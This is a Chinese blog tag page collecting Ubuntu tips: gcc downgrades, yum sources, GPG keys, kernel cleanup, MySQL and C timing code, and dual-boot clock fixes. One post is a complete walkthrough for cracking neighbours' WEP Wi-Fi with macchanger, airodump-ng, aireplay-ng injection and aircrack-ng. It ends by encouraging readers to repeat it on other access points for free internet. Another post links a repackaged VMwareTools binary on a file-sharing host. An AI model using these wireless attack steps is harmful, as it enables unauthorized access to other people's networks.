Posts tagged Ubuntu

Ubuntu 10.04 gcc g++ 4.4降级到4.3

我依照以下方法,却得到ln: creating hard link `gcc’ => `/usr/bin/gcc-4.3′: Invalid cross-device link 请问是什么回事呢?

将gcc-4.4降级成gcc-4.3 具体操作: sudo apt-get install gcc-4.3(安装gcc-4.3) sudo apt-get install g++-4.3(安装g++-4.3)sudo apt-get install g++-4.3-multilib (安装g++-4.3-multilib) 安装完4.3版本后,执行gcc –version后会发现版本仍然是4.4,因为gcc已经和4.4版本进行了链接,因此需要对gcc重新进行链接 具体操作: sudo ln -f /usr/bin/gcc-4.3 gcc sudo ln -f/usr/bin/g++-4.3 g++ 这样就可以用4.3版本的gcc和g++将原来的覆盖掉,重新进入android源码目录执行make就可以正常编译
【或者可以安转gcc依赖包 apt-get install build-essential】
请大家帮帮忙

文章标题 : Re: Ubuntu10.04 gcc g++4.4降级4.3的问题

在我的系统上
ls -l /usr/bin/gcc
lrwxrwxrwx 1 root root 7 2009-11-10 20:40 /usr/bin/gcc -> gcc-4.4
意思是/usr/bin/gcc是/usr/bin/gcc-4.4的 soft link,不是hard link,目前我常用的都是soft link,用法是ln -s file1 file2,然后ls -l file2查看。
你的情况应该是
cd /usr/bin
sudo ln -sf cpp-4.3 cpp
sudo ln -sf gcc-4.3 gcc
sudo ln -sf g++-4.3 g++
hard link据说不支持在不同分区之间连接文件(你的/home和/在不同分区?),soft link支持。
你的命令sudo ln -f /usr/bin/gcc-4.3 gcc似乎是把/usr/bin/gcc做个hard link到当前目录下的文件gcc。
另外系统默认版本的gcc最好不要改,要改也得是同一版本,比如gcc 4.3.0改为gcc 4.3.2或gcc 4.4.0到gcc 4.4.4。从gcc 4.4改到gcc 4.3是有风险的。
有个办法使用非系统默认版本的gcc,就是自己编译gcc并安装到/opt/gcc目录下去,不用多少时间,15分钟就够了(Intel E2140,1GB RAM)。
如果你熟悉gcc的编译,这段不用看。编译前把gcc-4.3的包全部卸掉,并把gcc,cpp,g++这几个提供soft link到gcc-4.4的包重新装一遍。
安装编译gcc的依赖包gmp,mpfr,cloog-ppl,mpc,libelf,注意都要带devel或dev字样的包。
http://gcc.cybermirror.org/releases/gcc-4.3.4/
下载源码
gcc- core*.tar.bz2是c编译器
gcc-fortran*.tar.bz2是fortran编译器
gcc- g++*.tar.bz2是g++编译器
gcc-objc*.tar.bz2是objective c编译器
一般人用到的就c,c++ 而已
mkdir ~/build
下载到home下的build目录

http://gcc.cybermirror.org/releases/gcc-4.3.4/gcc-core-4.3.4.tar.bz2

http://gcc.cybermirror.org/releases/gcc-4.3.4/gcc-g++-4.3.4.tar.bz2

cd ~/build
tar jxf gcc-core-4.3.4.tar.bz2
tar jxf gcc-g++-4.3.4.tar.bz2
cd gcc-4.3.4
mkdir build
然后
gcc -v 2> build-config.txt
打开build-config.txt
开 始修改
比如我的是

代码:
Using built-in specs.
Target: i586-SUSE-linux
Configured with: ../configure –prefix=/usr –infodir=/usr/share/info –mandir=/usr/share/man –libdir=/usr/lib –libexecdir=/usr/lib –enable-languages=c,c++,objc,fortran,obj-c++ –enable-checking=release –with-gxx-include-dir=/usr/include/c++/4.4 –enable-ssp –disable-libssp –with-bugurl=http://bugs.openSUSE.org/ –with-pkgversion=’SUSE Linux’ –disable-libgcj –disable-libmudflap –with-slibdir=/lib –with-system-zlib –enable-__cxa_atexit –enable-libstdcxx-allocator=new –disable-libstdcxx-pch –enable-version-specific-runtime-libs –program-suffix=-4.4 –enable-linux-futex –without-system-libunwind –with-arch-32=i586 –with-tune=generic –build=i586-suse-linux
Thread model: posix
gcc version 4.4.4 (SUSE Linux)

改成

代 码:
../configure \
–prefix=/opt/gcc \
–enable-languages=c,c++ \
–enable-checking=release \
–enable-ssp \
–disable-libssp \
–with-bugurl=http://bugs.openSUSE.org/ \
–with-pkgversion=’SUSE Linux’ \
–disable-libgcj –disable-libmudflap \
–with-system-zlib \
–enable-__cxa_atexit \
–enable-libstdcxx-allocator=new \
–disable-libstdcxx-pch \
–enable-version-specific-runtime-libs \
–program-suffix=-4.4 \
–enable-linux-futex \
–without-system-libunwind \
–with-arch-32=i586 \
–with-tune=generic \
–build=i586-SUSE-linux \
–disable-bootstrap

也就是把头尾不要,提到/usr和/lib目录的行全不要,–program-suffix那行也不要,分行,再加一行–disable-bootstrap。我的这段

代码:
../configure

仅 供参考,具体还是要你自己改你自己的build-config.txt
现在已经在~/build/gcc-4.3.4/build目录了
把 改好的build-config.txt的内容复制下来并运行,我的是

代码:
../configure \
–prefix=/opt/gcc \
–enable-languages=c,c++ \
–enable-checking=release \
–enable-ssp \
–disable-libssp \
–with-bugurl=http://bugs.openSUSE.org/ \
–with-pkgversion=’SUSE Linux’ \
–disable-libgcj –disable-libmudflap \
–with-system-zlib \
–enable-__cxa_atexit \
–enable-libstdcxx-allocator=new \
–disable-libstdcxx-pch \
–enable-version-specific-runtime-libs \
–enable-linux-futex \
–without-system-libunwind \
–with-arch-32=i586 \
–with-tune=generic \
–build=i586-SUSE-linux \
–disable-bootstrap

然后
make -jN,cpu有几个核N就填几
最后
sudo make install
可选步骤
cd /opt/gcc/libexec/gcc/*/*
sudo strip -sv cc1*

最后写个脚本gcc43-env.sh放到~/bin目录,内容如下

代码:
#!/bin/sh
export PATH=/opt/gcc/bin:$PATH

你要使用gcc-4.3只用
source gcc43-env.sh
就行了。

from:ubuntu社区

RHEL AS5使用CentOS 5 yum源自动升级

RedHat Enterprise因为是商业软件,所以没有注册就不能更新或用yum方便的安装软件。想到Ubuntu使用/etc/apt/sources.list文件进行1、修改.repo文件
cd /etc/yum.repos.d/

vim CentOS-Base.repo更新,而CentOs是RHEL的翻版,就直接用CentOS的更新源来更新吧。

写入以下内容:

[base]
name=CentOS-5 – Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever5&arch=$basearch&
repo=os
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/
baseurl=http://ftp.sjtu.edu.cn/centos/5/os/$basearch/
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5

#released updates
[update]
name=CentOS-5 – Updates
#mirrorlist=http://mirrorlist.centos.org/?release=4&arch=$basearch&repo=updates
baseurl=http://ftp.sjtu.edu.cn/centos/5/updates/$basearch/
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5

#packages used/produced in the build but not released
[addons]
name=CentOS-5 – Addons
#mirrorlist=http://mirrorlist.centos.org/?release=4&arch=$basearch&repo=addons

baseurl=http://ftp.sjtu.edu.cn/centos/5/addons/$basearch/
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5

#additional packages that may be useful
[extras]
name=CentOS-5 – Extras
#mirrorlist=http://mirrorlist.centos.org/?release=4&arch=$basearch&repo=extras

baseurl=http://ftp.sjtu.edu.cn/centos/5/extras/$basearch/
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5

#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-5 – Plus
#mirrorlist=http://mirrorlist.centos.org/?release=4&arch=$basearch&repo=centosplus
baseurl=http://ftp.sjtu.edu.cn/centos/5/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5

#contrib – packages by Centos Users
[contrib]
name=CentOS-5 – Contrib
#mirrorlist=http://mirrorlist.centos.org/?release=4&arch=$basearch&repo=contrib
baseurl=http://ftp.sjtu.edu.cn/centos/5/contrib/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5

创建或者更改   vi dag.repo

写入:

[dag]
name=Dag RPM Repository for RHEL5
baseurl=http://ftp.riken.jp/Linux/dag/RedHat/el5/en/$basearch/dag/
enabled=1
gpgcheck=1
gpgkey=http://ftp.riken.jp/Linux/dag/packages/RPM-GPG-KEY.dag.txt

导入KEY:

rpm –import http://ftp.sjtu.edu.cn/centos/5/os/i386/RPM-GPG-KEY-CentOS-5

使用  yum update 更新测试!

Ubuntu安装软件时缺少公钥的解决办法

症状:

代码:sudo apt-get update

W: GPG error: http://apt.tt-solutions.com dapper Release: 由于没有公钥,下列签名无法进行验证: NO_PUBKEY 06EA41DE4F6C1E86

解决方法:

代码:gpg –keyserver subkeys.pgp.net –recv 4F6C1E86
gpg –export –armor 4F6C1E86 | sudo apt-key add -

说明:

若缺少其他公钥,则将命令中两处4F6C1E86改为NO_PUBKEY

06EA41DE4F6C1E86中最后8位即可!

如果是Ubuntu PPA的

代码:sudo apt-key adv –recv-keys –keyserver keyserver.Ubuntu.com

from:Ubuntu社区

Ubuntu 9.10学习笔记-破解无线WEP

如果不想被盗网就使用WPA2或者限制mac地址吧。

要是想要伪装mac 地址,可以使用伪造自己的mac地址(这一步你也可以不要)

1.首先我们查看自己的mac地址

在终端中输入ifconfig -a 察看当前网卡,这里是看你机器上的所有网卡,你要自己找到你的无线网卡
在这一步我看到的网卡名称为

wlan0

然后先停止载入USB网卡驱动

敲入命令

ifconfig -a wlan0 down

2. 然后输入macchanger –m 00:11:22:33:44:55 wlan0

将自己的USB网卡mac地址修改

-m后跟要伪造的MAC,之后再跟要修改的网卡名称,上面这里我们把USB网卡MAC修改成00:11:22:33:44:55

重新载入USB网卡驱动

敲入命令

ifconfig -a wlan0 up

下面是原内容,自己看看照着来好了。

———————————————————————

Ubuntu 9.10破解wep无线加密

一、安装Ubuntu和aircrack-ng

先安装 Ubuntu9.04,更新系统到最新

终端中输入 sudo apt-get install aircrack-ng 安装aircrack-ng

没联网的话 到别的电脑上网下载aircrack-ng Ubuntu DEB安装包 安装

下载地址:http://packages.ubuntu.com/zh-cn/jaunty/i386/aircrack-ng/download

二、破解过程

1、启动无线网卡的监控模式,在终端中输入:sudo airmon-ng start wlan0

(wlan0是无线网卡的端口,可在终端中输入 ifconfig 查看)

2、查看无线AP在终端中输入:

sudo airodump-ng mon0

(特别说明:启动监控模式后无线网的端口现在是 mon0 !!!)

看看有哪些采用wep加密的AP在线,然后按 ctrl+c 退出,保留终端

3、抓包

另开一个终端,输入:

sudo airodump-ng -c 6 –bssid 目标的mac地址 -w wep mon0

(-c 后面跟着的6是要破解的AP工作频道,–bissid后面跟着的AP’s MAC是要欲破解AP的MAC地址,-w后面跟着wep的是抓下来的数据包DATA保存的文件名,具体情况根据步骤2里面的在线AP更改频道和MAC地 址,DATA保存的文件名可随便命名)

4、与AP建立虚拟连接

再另开一个终端,输入:

sudo aireplay-ng -1 0 -a AP’s MAC -h My MAC mon0

(-h后面跟着的My MAC是自己的无线网卡的MAC地址,命令:

iwlist wlan0 scanning

可查看自己的MAC地址)

5、进行注入

成功建立虚拟连接后输入:

sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 目标的MAC地址 -h 我的MAC地址 mon0

现在回头看下步骤3的终端是不是DATA在开始飞涨!

6、解密

收集有5000个以上的DATA之后,另开一个终端,输入:

sudo aircrack-ng wep*.cap

进行解密

(如果没算出来的话,继续等,aircrack-ng 会在DATA每增加多5000个之后就自动再运行,直到算出密码为至)

7、收工

破解出密码后在终端中输入 sudo airomon-ng stop mon0 关闭监控模式,不然无线网卡会一直向刚刚的AP进行注入的,用ctrl+c退出或者直接关闭终端都是不行的。现在可以冲浪去了,或者重复步聚1-7破解其 它的AP 呵呵兄弟们冲浪时可别太猛了,不然把主人给冲翻了可就不好。

清理Ubuntu老内核的小脚本

Ubuntu用久了,升级了几次内核以后,就免不了需要清理一下老的内核,毕竟一套内核就有170多M的空间呢。但是每次都打一堆字来清理也烦了。虽然Ubuntu 命令技巧(这里再罗嗦几句:如果还有Ubuntuer没看过这个,强烈建议看一遍。)里有删除旧内核的命令,而且就一行:

sudo aptitude purge ~ilinux-image-.*\(\!`uname -r`\)

但是我却不是很喜欢,因为这这个没有把linux-headers-xxx删除掉。
于是自己写了个繁的,需要的可以自己保存,以便不时之需。

#!/bin/sh
# 清理Ubuntu的老内核
# by bones7456
# http://li2z.cn
CURRENT="`uname -r | awk -F"-" '{print $1"-"$2}'`"
HEADERS=""
IMAGES=""
for HEADER in `dpkg --get-selections | grep ^linux-headers | \
grep -vE "(generic|386|virtual)" | awk '{gsub(/linux-headers-/,"",$1);print $1}'`
do
    if [[ "$CURRENT" < "$HEADER" ]]
    then
        echo "正在运行的内核不是最新的。 $CURRENT < $HEADER"
        echo "Running kernel is not the newest. $CURRENT < $HEADER"
        exit 1
    else
        [[ "$CURRENT" != "$HEADER" ]] && {
            HEADERS="${HEADERS} linux-headers-${HEADER}"
            IMAGE="`dpkg --get-selections | grep ^linux-image | \
                grep "${HEADER}" | awk '{print $1}'`"
            IMAGES="${IMAGES} $IMAGE"
        }
    fi
done

if [[ x"$HEADERS" == x"" ]]
then
    echo "没有要清理的老内核."
    echo "No old kernel need to clean."
    exit 0
fi
CMD="sudo apt-get purge $HEADERS $IMAGES"
echo "$CMD"
if [ "$1" == "-e" ]
then
    sh -c "$CMD"
else
    echo "请确定以上命令是否正确,然后输入 $0 -e 来执行以上命令。"
    echo "Be sure this command is right, then type $0 -e to execute."
fi
from:li2z.cn

Ubuntu下安装MySQL获得 mysql.h 建立C接口

在Ubuntu下费了好长时间终于让C操作MySQL成功了,在此把方法记下来,留着以后用。先安装MySQL
代码:
sudo apt-get install mysql-server mysql-client

再装开发包
代码:
sudo apt-get install libmysqlclient15-dev

安装完以后,C代码里添加头文件

代码:
#include <mysql.h>
编译方法:
代码:
gcc $(mysql_config –cflags) xxx.c -o xxx $(mysql_config –libs)

可以用以下代码测试一下
代码:
/* Simple C program that connects to MySQL Database server*/
#include <mysql.h>
#include <stdio.h>

main() {
MYSQL *conn;
MYSQL_RES *res;
MYSQL_ROW row;

char *server = “localhost”;
char *user = “root”;
char *password = “”; /* 此处改成你的密码 */
char *database = “mysql”;

conn = mysql_init(NULL);

/* Connect to database */
if (!mysql_real_connect(conn, server,
user, password, database, 0, NULL, 0)) {
fprintf(stderr, “%s\n”, mysql_error(conn));
exit(1);
}

/* send SQL query */
if (mysql_query(conn, “show tables”)) {
fprintf(stderr, “%s\n”, mysql_error(conn));
exit(1);
}

res = mysql_use_result(conn);

/* output table name */
printf(“MySQL Tables in mysql database:\n”);
while ((row = mysql_fetch_row(res)) != NULL)
printf(“%s \n”, row[0]);

/* close connection */
mysql_free_result(res);
mysql_close(conn);
}

会输出现有数据库和表内容。

Ubuntu 9.10下C语言函数运行时间测试

最近突然有必要测试C语言中各个函数的运行时间,于是就搜索了一下,发现有4种方法可以达成测算程序运行时间的目的。
它们分别是使用clock, times, gettimeofday, getrusage来实现的。下面就来逐一介绍,并比较它们的优劣点。

系统测试环境:
VirtualBox (Ubuntu 9.10)
gcc version 4.4.1
libc6 2.10.1-0Ubuntu16

Core Duo T2500 2GMHz
首先先贴出我测试用的程序吧。
程序做的处理很简单,就是填写一个1024*1024的矩阵。
只要修改第11行的定义值,就可以使用不同的测量方法了。

#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdio.h>
#include <time.h>

#define TEST_BY_CLOCK (char)(0×00)
#define TEST_BY_TIMES (char)(0×01)
#define TEST_BY_GETTIMEOFDAY (char)(0×02)
#define TEST_BY_GETRUSAGE (char)(0×03)
#define TEST_METHOD (TEST_BY_GETTIMEOFDAY)

#define COORDINATION_X (int)(1024)
#define COORDINATION_Y (int)(1024)

static int g_Matrix[COORDINATION_X][COORDINATION_Y];

double getTimeval()
{
struct rusage stRusage;
struct timeval stTimeval;
if (TEST_METHOD == TEST_BY_GETTIMEOFDAY) {
gettimeofday(&stTimeval, NULL);
} else if (TEST_METHOD == TEST_BY_GETRUSAGE) {
getrusage(RUSAGE_SELF, &stRusage);
stTimeval = stRusage.ru_utime;
}
return stTimeval.tv_sec + (double)stTimeval.tv_usec*1E-6;
}

int main()
{
int i, j;
int n = 0;
clock_t clockT1, clockT2;
double doubleT1, doubleT2;

if (TEST_METHOD == TEST_BY_CLOCK) {
clockT1 = clock();
} else if (TEST_METHOD == TEST_BY_TIMES) {
times(&clockT1);
} else if (TEST_METHOD == TEST_BY_GETTIMEOFDAY) {
doubleT1 = getTimeval();
} else if (TEST_METHOD == TEST_BY_GETRUSAGE) {
doubleT1 = getTimeval();
}

for (i = 0; i < COORDINATION_X; i++) {
for (j = 0; j < COORDINATION_Y; j++) {
g_Matrix[i][j] = i * j;
}
}

if (TEST_METHOD == TEST_BY_CLOCK) {
clockT2 = clock();
printf(“Time result tested by clock = %10.30f\n”,
(double)(clockT2 – clockT1)/CLOCKS_PER_SEC);
} else if (TEST_METHOD == TEST_BY_TIMES) {
times(&clockT2);
printf(“Time result tested by times = %10.30f\n”,
(double)(clockT2 – clockT1)/sysconf(_SC_CLK_TCK));
} else if (TEST_METHOD == TEST_BY_GETTIMEOFDAY) {
doubleT2 = getTimeval();
printf(“Time result tested by gettimeofday = %10.30f\n”,
(double)(doubleT2 – doubleT1));
} else if (TEST_METHOD == TEST_BY_GETRUSAGE) {
doubleT2 = getTimeval();
printf(“Time result tested by getrusage = %10.70f\n”,
(double)(doubleT2 – doubleT1));
}

return 0;
}

使用clock的方法:
clock是ANSI C的标准库函数,关于这个函数需要说明几点。
首先,它返回的是CPU耗费在本程序上的时间。也就是说,途中sleep的话,由于CPU资源被释放,那段时间将不被计算在内。
其次,得到的返回值其实就是耗费在本程序上的CPU时间片的数量,也就是Clock Tick的值。该值必须除以CLOCKS_PER_SEC这个宏值,才能最后得到ss.mmnn格式的运行时间。在POSIX兼容系统中,CLOCKS_PER_SEC的值为1,000,000的,也就是1MHz。

最后,使用这个函数能达到的精度大约为10ms。
使用times的方法:
times的用法基本和clock类似,同样是取得CPU时间片的数量,所不同的是要除以的时间单位值为sysconf(_SC_CLK_TCK)。

使用gettimeofday的方法:
用gettimeofday直接提取硬件时钟进行运算,得到的结果的精度相比前两种方法提高了很多。
但是也正由于它提取硬件时钟的原因,这个方法只能计算程序开始时间和结束时间的差值。而此时系统中如果在运行其他的后台程序,可能会影响到最终结果的值。如果后台繁忙,系统dispatch过多的话,并不能完全真实反映被测量函数的运行时间。

使用getrusage的方法:
getrusage得到的是程序对系统资源的占用信息。只要指定了RUSAGE_SELF,就可以得到程序本身运行所占用的系统时间。
可以说是精度最高的测量方法了。

自己试用了这四种方法,感觉需要高精度测试的话,getrusage和gettimeofday都可以选择。需要长时间测试的话,clock也是不错的,尤其是考虑到它的通用性。
from:cookiebear.info

Ubuntu 9.04安装VMwareTools


Ubuntu 9.04,VMware Workstation 6.5.2,自带的VMwareTools安装以后有问题,最严重的是不能文件共享,这几天把Ubuntu里面写的代码拷出来都是靠samba ,太麻烦了,google一下,找到这个东西,刚安装过,正常解决文件不能共享的问题。google的时候,发现很多人提供的解决方案非常繁琐,而且还没有解决问题。把这个东西贴出来,估计有很多人需要。
提供的下载就是VMwareTools安装包,直接解压跟正常安装VMwareTools一样,一路回车就行了~~~

http://www.brsbox.com/filebox/down/fc/45d5dc8585324629af3882b5518bb1f5

解决 Windows 、 Mac 和 Ubuntu 时间不一致的问题

(贴这个过来,前几天我在装完fedora 11时候同样遇到了,今天又看到,贴过来保存~~~)

最近帮朋友装了 Windows 7 、 Mac 还有 Ubuntu 。朋友在切换操作系统的时候就发现了一个问题, Windows 、 Mac 和 Ubuntu 的时间出现了不一致的情况。在 Windows 中把时间设置正确了过后,在 Ubuntu 和 Mac 中的时间又不一样了,在 Ubuntu 和 Mac 中把时间设置正确后进入 Windows 后,时间又不一致了。出现这种情况的原因是 Windows 、 Mac 和 Ubuntu 它们在默认情况下看待硬件时间(主板上的BOIS显示的时间)的方式不一样。 知道了问题存在的原因,我们就来解决这个问题。

这个是一个关于时间的问题,我们就先来了解一下关于时间的概念

UTC即Universal Time Coordinated,协调世界时
GMT即Greenwich Mean Time,格林尼治平时

Windows 与 Mac/Linux 缺省看待系统硬件时间的方式是不一样的:
* Windows把系统硬件时间当作本地时间(local time),即操作系统中显示的时间跟BIOS中显示的时间是一样的。
* Linux/Unix/Mac把硬件时间当作 UTC,操作系统中显示的时间是硬件时间经过换算得来的,比如说北京时间是GMT+8,则系统中显示时间是硬件时间+8。

这样,当PC中同时有多系统共存时,就出现了问题。假如你的mac和WindowsXP中设置的时区都为北京时间东八区,而你在mac中把当前系统时间更改为9:00AM。则此时硬件中存储的实际是UTC时间1:00AM。这时你重启进入Windows后,你会发现windows系统中显示的时间是1:00AM,比mac中慢了八个小时。同理,你在Windows中更改或用网络同步了系统时间后,再到Ubuntu中去看,系统就会快了8小时。在实行夏令时的地区,情况可能会更复杂些。

解决这个问题的方法也有几种,可让 Mac 和 Ubuntu 不使用 UTC 时间与 Windows 保持一致。但这样改就相对复杂,而且要修改 Mac 和 Ubuntu 两个系统(Linux/Unix/Mac都是把硬件时间当作 UTC)。建议修改 Windows 对硬件时间的对待方式,这样只在 Windows 上修改后就无需在 Mac 和 Ubuntu 上设置了。

解决方法:

让 Windows 把硬件时间当作 UTC
开始->运行->CMD,打开命令行程序(Vista则要以管理员方式打开命令行程序方可有权限访问注册表),在命令行中输入下面命令并回车
Reg add HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation /v RealTimeIsUniversal /t REG_DWORD /d 1

修改 Mac 和 Ubuntu 不使用UTC的时间也比较简单只需要输入几条命令,若要通过修改 Mac 和 Ubuntu 的时间来与 Windows 保持一致相对复杂,这里就不细谈。

from:http://www.ownlinux.cn/2009/10/22/windows-mac-ubuntu-time-utc-gmt.html

软件自由日献礼:全新的Ubuntu源

ubuntu

今日是属于全球自由软件世界的节日:软件自由日。所有自由软件的拥护者们都在关注或庆祝这一节日。我们的骨头大侠(bones7456)也献上了他的礼物:位于浙江杭州的、一个高质量Ubuntu源。

新闻来源:http://li2z.cn/2009/09/18/ubuntu_mirror/

骨头兄亲自搭建并维护这个Ubuntu源,本着追求完美的原则,保证源的及时同步和完整性是该源的重要特色。同时,该源位于浙江杭州百兆共享宽带的电信机房,速度也是可以保证的。

据TualatriX向骨头询问得知,该源的同步频率是“间隔两小时模式”,也就是说,在一次同步完成的两小时后,即开始下一次同步。尽可能的保证与官方源不是相差太久。

最后,你可以访问以下几个域名来获得该源的信息及添加它:

http://ubuntu.srt.cn/
http://ubuntu.hzlug.org/
http://u.srt.cn/

在此感谢骨头送给所有Ubuntu用户的节日礼物!

转载请注明:转自LDCN软件自由日献礼:全新的Ubuntu源